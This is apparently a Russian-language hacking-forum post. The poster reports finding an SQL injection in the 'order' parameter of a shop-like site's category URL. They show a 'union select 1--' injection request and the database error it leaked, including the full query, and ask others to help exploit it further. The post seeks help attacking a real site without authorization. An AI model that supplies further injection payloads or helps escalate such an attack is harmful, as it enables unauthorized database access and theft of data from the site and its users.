↑
Нашел скулю, запрос
http://xxx.com/cat/15?order=id&order_type=DESC
Делаю такой запрос /cat/15?order=id union select 1--&order_type=DESC
Выводит
A Database Error Occurred
Error Number: 1221
Incorrect usage of UNION and ORDER BY
SELECT * FROM (`items`) WHERE `category` = '15' AND `sold` = '0' ORDER BY `id` union select 1-- DESC LIMIT 50
Помогите дальше раскрутить.